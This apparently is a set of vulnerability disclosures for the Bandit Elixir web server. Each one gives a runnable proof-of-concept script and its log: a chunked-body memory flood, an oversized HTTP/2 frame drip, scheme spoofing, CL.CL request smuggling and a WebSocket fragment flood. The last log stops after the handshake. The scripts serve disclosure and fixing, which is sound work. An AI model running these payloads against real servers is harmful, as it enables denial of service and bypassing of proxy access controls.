In lib/bandit/http1/socket.ex:189, the chunked clause of read_data/2 only forwards :read_length and :read_timeout to do_read_chunked_data!/5 (:242); the caller-supplied :length cap is dropped. The recursion accumulates every chunk into an iolist and IO.iodata_to_binary/1 (:196) materializes the whole thing as one binary. The function always returns {:ok, body, ...} — never {:more, ...} — so callers cannot interpose a 413.

The content-length sibling at :210 does the right thing:

max_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))

Because Plug.Parsers runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any Content-Type matching a configured parser (:json, :urlencoded, :multipart) on any path triggers the bug.

Suggested Fix: track accumulated bytes in do_read_chunked_data! and either return {:more, ...} or raise request_error! once :length is exceeded, mirroring the content-length path.

PoC

Self-contained — boots a Bandit server with a realistic Plug.Parsers (length: 8_000_000) and floods it. Save as chunked_oom.exs, run elixir chunked_oom.exs, and watch beam.smp RSS climb past 8 MB until the OS OOM-killer fires.

Mix.install([{:bandit, "~> 1.10"}, {:plug, "~> 1.19"}])

defmodule DemoApp do
  use Plug.Builder

  # The `length` option here is ignored by the attack
  plug Plug.Parsers, parsers: [:urlencoded, :json], pass: ["*/*"], json_decoder: JSON, length: 8_000_000
  plug :respond

  def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, "ok")
end

{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)

# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.
chunk = :binary.copy(<<?A>>, 1_048_576)
frame = "#{Integer.to_string(1_048_576, 16)}\r\n#{chunk}\r\n"

{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", 4321, [:binary, active: false])

:ok =
  :gen_tcp.send(sock, """
  POST / HTTP/1.1\r
  Host: 127.0.0.1\r
  Transfer-Encoding: chunked\r
  Content-Type: application/json\r
  Connection: close\r
  \r
  """)

Enum.each(1..10_240, fn _ -> :ok = :gen_tcp.send(sock, frame) end)
:ok = :gen_tcp.send(sock, "0\r\n\r\n")

IO.inspect(:gen_tcp.recv(sock, 0, 120_000))

Impact

Unauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts Plug.Parsers ahead of routing and auth. Configured length: caps on Plug.Parsers and Plug.Conn.read_body/2 are silently ineffective on the chunked path.

Summary

Bandit's HTTP/2 parser checks frame size after it has already buffered the full body, instead of when it sees the 9-byte header. A peer can announce a 16 MiB frame on a connection that agreed to 16 KiB frames and the server will silently buffer up to 1024× the agreed budget per connection. Across many connections this becomes a memory-pressure DoS. Severity: medium.

Details

In lib/bandit/http2/frame.ex:23-65, every clause that could detect an oversized frame requires payload::binary-size(length) to match — meaning the body has to be fully in memory before the size guard runs. Until then the parser returns {:more, msg} and the connection layer keeps reading. So the cap fires only after the violation is complete.

The frame type and stream id don't matter; the parser never gets that far.

PoC

The script is at the end. It:

1. Opens an h2c connection to a Bandit server it starts itself.
2. Sends a 9-byte frame header announcing length = 0xFFFFFF (~16 MiB).
3. Polls for GOAWAY(FRAME_SIZE_ERROR). If silent, drips body bytes in 64 KiB chunks.

A patched server sends GOAWAY on the header alone. A vulnerable server stays silent and keeps accepting bytes.

Suggested fix

Add a header-only clause that rejects on the length field alone, e.g. def deserialize(<<length::24, _::binary>> = msg, max_frame_size) when length > max_frame_size, do: {{:error, frame_size_error(), "..."}, drop_frame_or_close(msg)}, placed before the body-bearing clauses so the size check runs as soon as the 9-byte header is in hand rather than after the body has been buffered.

Impact

Any Bandit server speaking HTTP/2 (h2 or h2c). No authentication or specific route needed — the bug is in the framing layer, before any Plug runs. An attacker holding a few thousand concurrent connections can pin tens of GiB of buffer memory, far beyond what the negotiated max_frame_size should allow. No code execution, no data disclosure — pure resource exhaustion.

Fix: add a header-only clause that rejects on length > max_frame_size as soon as the 9 header bytes arrive, before the body-bearing clauses.

# Bandit HTTP/2 oversized-frame late-check PoC.
#
# RFC 9113 §6.5.2 sets the default SETTINGS_MAX_FRAME_SIZE to 16384.
# Bandit's frame deserializer (lib/bandit/http2/frame.ex) checks this
# limit *after* matching `payload::binary-size(length)` in the frame
# pattern. When the announced length exceeds what the buffer holds,
# none of the body-bearing clauses match and `deserialize/2` returns
# `{:more, msg}`, telling the caller to keep buffering. The oversize
# error in the "valid shape, length > max_frame_size" clause therefore
# fires only *after* the entire announced body has been received —
# letting a peer trickle up to ~16 MiB per frame (the 24-bit length
# field maximum) into the server before the cap engages, well past
# the 16 KiB the server agreed to.
#
# This PoC announces a frame with length = 0xFFFFFF (~16 MiB), drips
# body bytes in 64 KiB chunks, and after each chunk does a brief
# non-blocking recv to see if the server has reacted. A patched server
# should send GOAWAY(FRAME_SIZE_ERROR) within the first chunk (header
# alone is enough). A vulnerable server keeps silently accepting up
# to the full 16 MiB.
#
# We use a SETTINGS frame (type=0x4, stream_id=0) for the abusive
# header — the parser never reaches dispatch (it's stuck buffering
# body), so the type and stream id are immaterial to the bug.
#
# Run: elixir scripts/bandit/http2_frame_size_late_check.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule NoopApp do
  @behaviour Plug
  def init(opts), do: opts
  def call(conn, _opts), do: Plug.Conn.send_resp(conn, 200, "ok\n")
end

defmodule FrameSizeLateCheck do
  @port 4321
  @connection_preface "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"

  @type_settings 0x4
  @type_goaway 0x7
  @flag_settings_ack 0x1

  @max_24_bit 0xFFFFFF
  @drip_chunk_size 64 * 1024
  @max_total_drip 4 * 1024 * 1024

  def run do
    {:ok, _} = Bandit.start_link(plug: NoopApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} =
      :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false, nodelay: true])

    advertised_max_frame_size = handshake!(sock)
    log("Handshake complete. Server advertised max_frame_size=#{advertised_max_frame_size}.")

    abusive_header =
      frame_header(@max_24_bit, @type_settings, 0, 0)

    log(
      "Sending oversized SETTINGS header: length=#{@max_24_bit} " <>
        "(#{div(@max_24_bit, 1024 * 1024)} MiB) vs cap #{advertised_max_frame_size}."
    )

    :ok = :gen_tcp.send(sock, abusive_header)

    case poll_for_reaction(sock, 200) do
      {:goaway, error_code} ->
        log("Server sent GOAWAY on header alone: error_code=#{error_code} — patched.")
        finish(sock)

      :silent ->
        log("Server silent after header. Beginning body drip…")
        drip_loop(sock, 0)
    end
  end

  defp drip_loop(sock, total_sent) when total_sent >= @max_total_drip do
    log(
      "Drip cap reached: #{total_sent} bytes accepted with no server reaction. " <>
        "Server is buffering an oversized frame body well past max_frame_size."
    )

    finish(sock)
  end

  defp drip_loop(sock, total_sent) do
    chunk = :binary.copy(<<0>>, @drip_chunk_size)

    case :gen_tcp.send(sock, chunk) do
      :ok ->
        new_total = total_sent + @drip_chunk_size

        case poll_for_reaction(sock, 50) do
          {:goaway, error_code} ->
            log(
              "After #{new_total} body bytes (#{div(new_total, 1024)} KiB) the server " <>
                "sent GOAWAY: error_code=#{error_code}."
            )

            finish(sock)

          :silent ->
            if rem(new_total, 512 * 1024) == 0 do
              log("Dripped #{div(new_total, 1024)} KiB so far, no reaction.")
            end

            drip_loop(sock, new_total)
        end

      {:error, reason} ->
        log("Send failed at total=#{total_sent}: #{inspect(reason)}.")
        finish(sock)
    end
  end

  defp poll_for_reaction(sock, timeout_ms) do
    case :gen_tcp.recv(sock, 9, timeout_ms) do
      {:ok, <<length::24, type::8, _flags::8, _r::1, _stream_id::31>>} ->
        case recv_payload(sock, length, timeout_ms) do
          {:ok, payload} when type == @type_goaway ->
            <<_last_id::32, error_code::32, _debug::binary>> = payload
            {:goaway, error_code}

          {:ok, _} ->
            :silent

          {:error, _} ->
            :silent
        end

      {:error, :timeout} ->
        :silent

      {:error, :closed} ->
        {:goaway, :connection_closed_without_goaway}
    end
  end

  defp finish(sock), do: :gen_tcp.close(sock)

  # --- HTTP/2 handshake helpers ------------------------------------------

  defp handshake!(sock) do
    :ok = :gen_tcp.send(sock, @connection_preface)
    :ok = :gen_tcp.send(sock, build_settings_frame(<<>>))

    {:ok, server_settings_frame} = recv_full_frame(sock, 5_000)
    @type_settings = server_settings_frame.type
    advertised_max_frame_size = parse_max_frame_size(server_settings_frame.payload)

    :ok = :gen_tcp.send(sock, build_settings_frame(<<>>, @flag_settings_ack))

    _ = drain(sock, 100)
    advertised_max_frame_size
  end

  # SETTINGS payload is a sequence of 6-byte (id::16, value::32) entries.
  # SETTINGS_MAX_FRAME_SIZE has id=0x5; default per RFC 9113 is 16384.
  defp parse_max_frame_size(payload), do: parse_max_frame_size(payload, 16384)
  defp parse_max_frame_size(<<>>, current_value), do: current_value

  defp parse_max_frame_size(<<0x5::16, value::32, rest::binary>>, _current) do
    parse_max_frame_size(rest, value)
  end

  defp parse_max_frame_size(<<_id::16, _value::32, rest::binary>>, current) do
    parse_max_frame_size(rest, current)
  end

  defp build_settings_frame(payload, flags \\ 0) do
    frame_header(byte_size(payload), @type_settings, flags, 0) <> payload
  end

  defp frame_header(length, type, flags, stream_id) do
    <<length::24, type::8, flags::8, 0::1, stream_id::31>>
  end

  defp recv_full_frame(sock, timeout_ms) do
    with {:ok, <<length::24, type::8, flags::8, _r::1, stream_id::31>>} <-
           :gen_tcp.recv(sock, 9, timeout_ms),
         {:ok, payload} <- recv_payload(sock, length, timeout_ms) do
      {:ok, %{length: length, type: type, flags: flags, stream_id: stream_id, payload: payload}}
    end
  end

  defp recv_payload(_sock, 0, _timeout_ms), do: {:ok, <<>>}
  defp recv_payload(sock, length, timeout_ms), do: :gen_tcp.recv(sock, length, timeout_ms)

  defp drain(sock, timeout_ms) do
    case :gen_tcp.recv(sock, 0, timeout_ms) do
      {:ok, bytes} -> bytes <> drain(sock, timeout_ms)
      {:error, _} -> <<>>
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

FrameSizeLateCheck.run()

17:23:19.125 [info] Running NoopApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[15:23:19.242] Handshake complete. Server advertised max_frame_size=16384.
[15:23:19.243] Sending oversized SETTINGS header: length=16777215 (15 MiB) vs cap 16384.
[15:23:19.444] Server silent after header. Beginning body drip…
[15:23:19.857] Dripped 512 KiB so far, no reaction.
[15:23:20.265] Dripped 1024 KiB so far, no reaction.
[15:23:20.676] Dripped 1536 KiB so far, no reaction.
[15:23:21.094] Dripped 2048 KiB so far, no reaction.
[15:23:21.511] Dripped 2560 KiB so far, no reaction.
[15:23:21.925] Dripped 3072 KiB so far, no reaction.
[15:23:22.340] Dripped 3584 KiB so far, no reaction.
[15:23:22.749] Dripped 4096 KiB so far, no reaction.
[15:23:22.749] Drip cap reached: 4194304 bytes accepted with no server reaction. Server is buffering an oversized frame body well past max_frame_size.

Summary

Bandit reflects the client-supplied URI scheme into conn.scheme without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like GET https://victim/path HTTP/1.1 and the application observes conn.scheme = :https even though no TLS was negotiated. Any downstream Plug logic that trusts conn.scheme as a security signal — Plug.SSL's "already secure, don't redirect" branch, secure: true cookie flagging, audit logging, CSRF/SameSite gating — is silently misled into treating an attacker's plaintext connection as encrypted.

The vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28

Details

The bug is in lib/bandit/pipeline.ex at determine_scheme/2 (around line 89). The function takes the request target's scheme and the transport's secure? flag and produces the URI scheme used to build the %Plug.Conn{}. The third match clause is {_, scheme} -> scheme — i.e. whenever the client supplies any scheme on the request target, the function returns that scheme verbatim and discards secure? entirely.

Two attacker-controlled inputs reach this code path:

• HTTP/1.1 absolute-form request targets (RFC 9112 §3.2.2), e.g. GET https://victim/path HTTP/1.1.
• HTTP/2 :scheme pseudo-header, which is a free-form string sent by the client.

Neither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare https and Bandit will pass %URI{scheme: "https"} into Plug.Conn.Adapter.conn/5, producing conn.scheme == :https. There is no guard in determine_scheme/2; the discarding of secure? is deliberate.

Suggested fix: when secure? is true, force the scheme to "https"; when false, force it to "http" — or reject the request with 400 Bad Request if the supplied scheme disagrees with the transport's actual security state. Do not trust the client-supplied scheme.

PoC

A self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on 127.0.0.1:4321 with a Plug that echoes conn.scheme, opens a plain TCP socket, and sends:

GET https://127.0.0.1:4321/ HTTP/1.1
Host: 127.0.0.1:4321
Connection: close

A correctly-behaving server would either coerce conn.scheme to :http or return 400 Bad Request. Bandit 1.10.4 returns :https, confirming the spoof.

Impact

Transport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include:

• Plug.SSL skipping its HTTP→HTTPS redirect because the request "already looks secure", letting plaintext requests bypass the redirect entirely.
• Cookies emitted with secure: true on a plaintext response, where a network attacker could capture them.
• Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions.
• Application code that uses conn.scheme to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call.

The vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on conn.scheme.

Script and Logs

# Bandit reflects the client-supplied scheme into conn.scheme.
#
# lib/bandit/pipeline.ex:89 (determine_scheme/2) returns whatever scheme
# appears on the request target, ignoring the `secure?` flag that records
# the actual transport state. HTTP/1.1 absolute-form request targets
# (e.g. `GET https://victim/path HTTP/1.1`) and HTTP/2 `:scheme` are both
# attacker-controlled strings that flow into this function. Over a
# plaintext connection, a client can claim `https` and Bandit hands a
# `%Plug.Conn{scheme: :https}` to the application — even though no TLS
# was negotiated.
#
# Downstream Plug consumers that branch on `conn.scheme` are misled:
# Plug.SSL's "already secure, don't redirect" path, `secure: true` cookie
# flagging, audit logs, CSRF/SameSite gating, etc.
#
# This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one
# HTTP/1.1 absolute-form request with scheme `https://`, and prints the
# `conn.scheme` the application observes. A fixed server should report
# `:http` (or reject the request); the buggy server reports `:https`.
#
# Run: elixir scripts/bandit/http1_scheme_spoofing.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule SchemeApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    body = "This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\n"
    Plug.Conn.send_resp(conn, 200, body)
  end
end

defmodule SchemeSpoof do
  @port 4321

  def run do
    {:ok, _} = Bandit.start_link(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])

    # Absolute-form request target with scheme "https" over a plaintext
    # TCP connection. RFC 9112 §3.2.2 allows absolute-form on any request;
    # nothing about it implies the connection is TLS.
    request =
      "GET https://127.0.0.1:#{@port}/ HTTP/1.1\r\n" <>
        "Host: 127.0.0.1:#{@port}\r\n" <>
        "Connection: close\r\n" <>
        "\r\n"

    log("Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.")
    :ok = :gen_tcp.send(sock, request)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    :gen_tcp.close(sock)

    log("Server response:")
    IO.puts(response)

    cond do
      response =~ "conn.scheme=:https" ->
        log("VULNERABLE — application sees conn.scheme = :https on a plaintext socket.")
        log("Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.")

      response =~ "conn.scheme=:http" ->
        log("Server forced scheme to :http — bug appears patched.")

      true ->
        log("Unexpected response shape.")
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

SchemeSpoof.run()

12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.
[10:53:25.316] Server response:
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 10:53:25 GMT
content-length: 47
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

This is what the Plug sees: conn.scheme=:https

[10:53:25.316] VULNERABLE — application sees conn.scheme = :https on a plaintext socket.
[10:53:25.316] Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.

Summary

Bandit is vulnerable to CL.CL HTTP request smuggling: it silently accepts requests with two Content-Length headers whose values differ, takes the first value, and dispatches the body bytes as a second pipelined request on the same keep-alive connection. RFC 9110 §5.3 prohibits multiple lines for singleton fields like Content-Length, and RFC 9112 §6.3 item 5 requires the recipient to treat invalid Content-Length as an unrecoverable framing error. When Bandit sits behind a proxy that picks the last Content-Length and forwards rather than rejects, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.

The vulnerability was introduced prior to v0.1.0 (released Nov 5, 2020) on Nov 16, 2019: https://github.com/mtrudel/bandit/commit/e5270b1b19e9f3574aa0f87ec76851d66c38c0af

Details

Bandit.Headers.get_content_length/1 (lib/bandit/headers.ex) calls List.keyfind/3, which returns only the first matching header. Bandit already correctly rejects the comma-separated form (Content-Length: 0, 43) when values differ; the bug is that the multi-line form never reaches that check.

Fix: collect every Content-Length value from the header list and reject unless all values parse and are byte-identical — extending the existing rejection to the multi-line case.

PoC

The script below boots a local Bandit server with a Plug that echoes the dispatched method and path, then sends a POST with Content-Length: 0 followed by Content-Length: 43 and a 43-byte body containing a valid GET /smuggled HTTP/1.1 request line. Run with elixir script.exs

On Bandit 1.10.4 / Elixir 1.18, default config: two 200 OK responses on the same TCP connection. First body method=POST path=/, second body method=GET path=/smuggled. Bandit accepted the malformed request and dispatched the embedded request line as a second request.

Impact

Spec violation that becomes request smuggling when paired with a permissive frontend. Practical impact depends entirely on what sits between the internet and Bandit, not on what runs above it.

The application framework (Phoenix, LiveView, Phoenix-API + React SPA) is irrelevant — smuggled requests still flow through the full Plug pipeline, so application auth still runs. The attacker is someone hitting the API directly with curl, not the SPA.

Real exposure concentrates at boundary controls the proxy enforces and Bandit doesn't see: edge WAF, path-based ACLs at the LB, edge rate limiting, centralized audit logging, and — the only realistic data-exfil path — response-queue desync on pooled upstream connections.

Most major frontends already reject CL.CL (Cloudflare, AWS ALB, current nginx, HAProxy in default strict mode). Realistic exposure: custom proxies, older nginx, in-house API gateways, or multi-hop setups where one hop is permissive.

• Bandit directly on the internet: spec violation, no exploit.
• Bandit behind a major CDN/LB: almost certainly safe.
• Bandit behind a custom or unverified proxy: real smuggling exposure, bounded by what that proxy was enforcing.

Worth fixing regardless — the current behavior silently shifts security responsibility onto whichever proxy is deployed.

Script and Logs

# Bandit HTTP/1 duplicate Content-Length first-wins PoC.
#
# Bandit.Headers.get_content_length/1 calls List.keyfind/3, which returns the
# first Content-Length value and silently ignores additional Content-Length
# entries. RFC 9112 §6.3 explicitly classifies this as an unrecoverable error
# and says the recipient MUST treat it as such.
#
# This is the classic CL.CL request-smuggling primitive. If a fronting proxy
# uses the *last* Content-Length while Bandit uses the first (or vice versa),
# the second "request" embedded in the first request's body gets dispatched
# as a new request on the same keep-alive connection - after the proxy has
# already applied its access controls.
#
# Run: elixir scripts/bandit/http1_duplicate_content_length.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule DemoApp do
  @behaviour Plug

  import Plug.Conn

  def init(opts), do: opts

  def call(conn, _opts) do
    send_resp(conn, 200, "method=#{conn.method} path=#{conn.request_path}\n")
  end
end

defmodule Smuggle do
  @port 4321

  def run do
    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

    request = build_smuggling_request()
    log("Sending #{byte_size(request)}-byte CL.CL request:\n#{request}")

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
    :ok = :gen_tcp.send(sock, request)

    response = read_all(sock)
    :gen_tcp.close(sock)

    log("Response stream:\n#{response}")
    diagnose(response)
  end

  # POST with two Content-Length headers, plus a smuggled GET line in the
  # body. A CL-last frontend would forward the body bytes; Bandit (CL-first)
  # reads 0 bytes per Content-Length: 0, replies, and the smuggled request
  # line either gets parsed as a new request on the keep-alive connection
  # or stays in the buffer.
  defp build_smuggling_request do
    smuggled_request = "GET /smuggled HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"
    smuggled_size = byte_size(smuggled_request)

    "POST / HTTP/1.1\r\n" <>
      "Host: 127.0.0.1\r\n" <>
      "Content-Length: 0\r\n" <>
      "Content-Length: #{smuggled_size}\r\n" <>
      "\r\n" <>
      smuggled_request
  end

  defp read_all(sock, accumulated \\ "") do
    case :gen_tcp.recv(sock, 0, 2_000) do
      {:ok, bytes} -> read_all(sock, accumulated <> bytes)
      {:error, _reason} -> accumulated
    end
  end

  # Three observable outcomes:
  #   - 400 Bad Request -> RFC-conformant rejection (not what current
  #     Bandit does).
  #   - Two responses, second one for /smuggled -> Bandit dispatched the
  #     smuggled request as a second pipelined request.
  #   - One response -> Bandit accepted Content-Length: 0, the smuggled
  #     bytes sat in the keep-alive buffer; with a CL-last frontend this
  #     becomes a smuggled request on the next request boundary.
  defp diagnose(response) do
    response_lines = Regex.scan(~r/^HTTP\/1\.[01] \d{3}[^\r\n]*/m, response) |> List.flatten()
    log("HTTP/1.x response lines observed: #{length(response_lines)}")
    Enum.each(response_lines, fn line -> log("  #{line}") end)

    cond do
      response =~ ~r/^HTTP\/1\.[01] 400/ ->
        log("OK: Bandit rejected duplicate Content-Length (RFC 9112 §6.3 conformant).")

      response =~ "/smuggled" ->
        log("VULNERABLE: smuggled GET /smuggled was processed as a second request.")

      length(response_lines) == 1 ->
        log("ACCEPTED: Bandit took the first Content-Length (0) and left the")
        log("smuggled request line in the keep-alive buffer. Combined with a")
        log("CL-last frontend this becomes request smuggling.")

      true ->
        log("Inconclusive - see raw response above.")
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

Smuggle.run()

11:52:23.036 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[09:52:23.039] Sending 118-byte CL.CL request:
POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: 0
Content-Length: 43

GET /smuggled HTTP/1.1
Host: 127.0.0.1


[09:52:25.057] Response stream:
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 09:52:22 GMT
content-length: 19
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

method=POST path=/
HTTP/1.1 200 OK
date: Tue, 28 Apr 2026 09:52:22 GMT
content-length: 26
vary: accept-encoding
cache-control: max-age=0, private, must-revalidate

method=GET path=/smuggled

[09:52:25.057] HTTP/1.x response lines observed: 2
[09:52:25.057]   HTTP/1.1 200 OK
[09:52:25.057]   HTTP/1.1 200 OK
[09:52:25.058] VULNERABLE: smuggled GET /smuggled was processed as a second request.

Summary

A single unauthenticated WebSocket client can exhaust server memory in any Bandit-fronted application that accepts WebSocket connections. The fragmented-message reassembly path appends every Continuation{fin: false} frame's payload to a per-connection iolist with no cumulative size cap, so a peer that streams continuation frames indefinitely (never setting fin=1) grows BEAM heap linearly until the OS or a supervisor kills the process. max_frame_size only bounds individual frames; there is no max_message_size option available today.

Details

The bug is in lib/bandit/websocket/connection.ex, in the fragment branch of handle_frame/3 (around lines 80–95). When a non-final continuation arrives, Bandit builds the next accumulator as [connection.fragment_frame.data | frame.data] with no running byte-count check. A peer can therefore stream max-sized continuations forever and grow BEAM resident memory without bound. When fin=1 finally arrives (if ever), IO.iodata_to_binary/1 flattens the whole iolist, briefly doubling peak memory. The attacker does not need to send fin=1 — simply holding the connection open is enough to pin the bytes.

Suggested fix: track a running cumulative byte count on the connection state and add a configurable max_message_size. When exceeded, terminate the connection with RFC 6455 close code 1009 (:max_message_size_exceeded) instead of continuing to append.

PoC

A self-contained reproduction script is below. It starts Bandit 1.10 on 127.0.0.1:4321 with a trivial WebSock echo handler, completes a WebSocket handshake, sends one text frame with fin=0, then streams up to 4096 continuation frames of 1 MiB each — also fin=0. A background sampler logs :erlang.memory(:total) every 250 ms.

A correctly-fixed server would close the connection with code 1009 once max_message_size is exceeded.

Impact

Unauthenticated DoS via memory exhaustion. A single connection can drive BEAM heap to gigabytes; a small number of concurrent connections OOM-kills the host.

Affected by default. No opt-in flag, no configuration option to mitigate. Any Phoenix application is on the vulnerable path: Phoenix Channels and LiveView both run over WebSock on Bandit, so a stock Phoenix app exposes this surface as soon as it accepts socket connections — including the LiveView socket that almost every Phoenix 1.7+ app mounts at /live. Plug apps that mount any custom WebSock handler are equally affected. Applications that expose no WebSocket endpoints are not.

The exploit also survives almost every common deployment topology: L4 load balancers, HTTP-mode reverse proxies, and TLS-terminating edge proxies (Cloudflare, Fly.io, Fastly, etc.) all tunnel post-upgrade WebSocket frames opaquely without inspecting size. There is no application-level workaround either — the accumulation happens before WebSock.handle_in/2 is called, so by the time the application could check, Bandit has already buffered the iolist. The fix belongs in Bandit.

Script and Logs

# Bandit WebSocket fragmented-message accumulation PoC.
#
# lib/bandit/websocket/connection.ex:80-95 appends every incoming
# Continuation{fin: false} frame's payload to connection.fragment_frame.data
# as iodata, with no cumulative cap. `max_frame_size` only bounds *each*
# frame; a peer that streams an unbounded number of max-sized continuations
# without ever setting fin=1 grows the iolist linearly in BEAM memory until
# the OS kills the process. The eventual IO.iodata_to_binary/1 in the
# fin=true branch also momentarily doubles peak memory.
#
# This script starts Bandit 1.10 on 127.0.0.1:4321, opens a WebSocket,
# sends one text frame with fin=0 followed by a continuous stream of
# continuation frames (also fin=0), and samples BEAM memory while doing so.
# A correct server would close the connection with 1009 once a configured
# max-message-size is exceeded; the buggy server keeps growing.
#
# Run: elixir scripts/bandit/ws_fragment_memory_exhaustion.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"},
  {:websock_adapter, "~> 0.5"}
])

defmodule EchoSocket do
  @behaviour WebSock

  def init(_opts), do: {:ok, %{}}
  def handle_in(_message, state), do: {:ok, state}
  def handle_info(_message, state), do: {:ok, state}
  def terminate(_reason, state), do: {:ok, state}
end

defmodule DemoApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    conn
    |> WebSockAdapter.upgrade(EchoSocket, %{}, [])
    |> Plug.Conn.halt()
  end
end

defmodule FragmentFlood do
  @port 4321
  @fragment_payload_bytes 1 * 1024 * 1024
  @fragment_count 4096
  @sample_every_ms 250

  def run do
    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

    sock = ws_handshake!()
    sampler_pid = spawn_link(&sample_memory_loop/0)

    payload_chunk = :binary.copy(<<0x41>>, @fragment_payload_bytes)
    starting_text_frame = build_frame(0x1, _fin = false, payload_chunk)
    continuation_frame = build_frame(0x0, _fin = false, payload_chunk)

    log("Sending start text frame (fin=0, #{@fragment_payload_bytes} bytes).")
    :ok = :gen_tcp.send(sock, starting_text_frame)

    log("Streaming #{@fragment_count} continuation frames (fin=0, #{@fragment_payload_bytes} bytes each).")
    Enum.each(1..@fragment_count, fn index ->
      case :gen_tcp.send(sock, continuation_frame) do
        :ok ->
          if rem(index, 64) == 0 do
            log("Sent #{index}/#{@fragment_count} continuations (~#{div(index * @fragment_payload_bytes, 1024 * 1024)} MiB accumulated).")
          end

        {:error, reason} ->
          log("Server closed connection after #{index} continuations: #{inspect(reason)}")
          throw(:server_closed)
      end
    end)

    log("Finished sending. Never sent fin=1 — server should still be holding the iolist.")
    Process.sleep(2_000)

    Process.unlink(sampler_pid)
    Process.exit(sampler_pid, :kill)
    :gen_tcp.close(sock)
    log("Done.")
  catch
    :server_closed -> log("Server appears to enforce a cap — bug not present or mitigated.")
  end

  defp ws_handshake! do
    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
    ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64()

    :ok =
      :gen_tcp.send(sock, """
      GET / HTTP/1.1\r
      Host: 127.0.0.1\r
      Upgrade: websocket\r
      Connection: Upgrade\r
      Sec-WebSocket-Key: #{ws_key}\r
      Sec-WebSocket-Version: 13\r
      \r
      """)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    if not (response =~ "101 Switching Protocols"), do: raise("WebSocket handshake failed:\n#{response}")
    log("Handshake complete.")
    sock
  end

  # Build a single masked WebSocket frame. fin controls bit 0 of byte 0;
  # opcode is the low nibble. Client→server frames must be masked per RFC 6455.
  defp build_frame(opcode, fin, payload) do
    fin_bit = if fin, do: 1, else: 0
    mask = :crypto.strong_rand_bytes(4)
    payload_size = byte_size(payload)
    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)
    masked_payload = :crypto.exor(payload, mask_stream)

    length_bytes =
      cond do
        payload_size <= 125 -> <<1::1, payload_size::7>>
        payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>>
        true -> <<1::1, 127::7, payload_size::64>>
      end

    <<fin_bit::1, 0::3, opcode::4, length_bytes::binary, mask::binary, masked_payload::binary>>
  end

  defp sample_memory_loop do
    log("[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB")
    Process.sleep(@sample_every_ms)
    sample_memory_loop()
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

FragmentFlood.run()

13:04:30.778 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[11:04:30.812] Handshake complete.
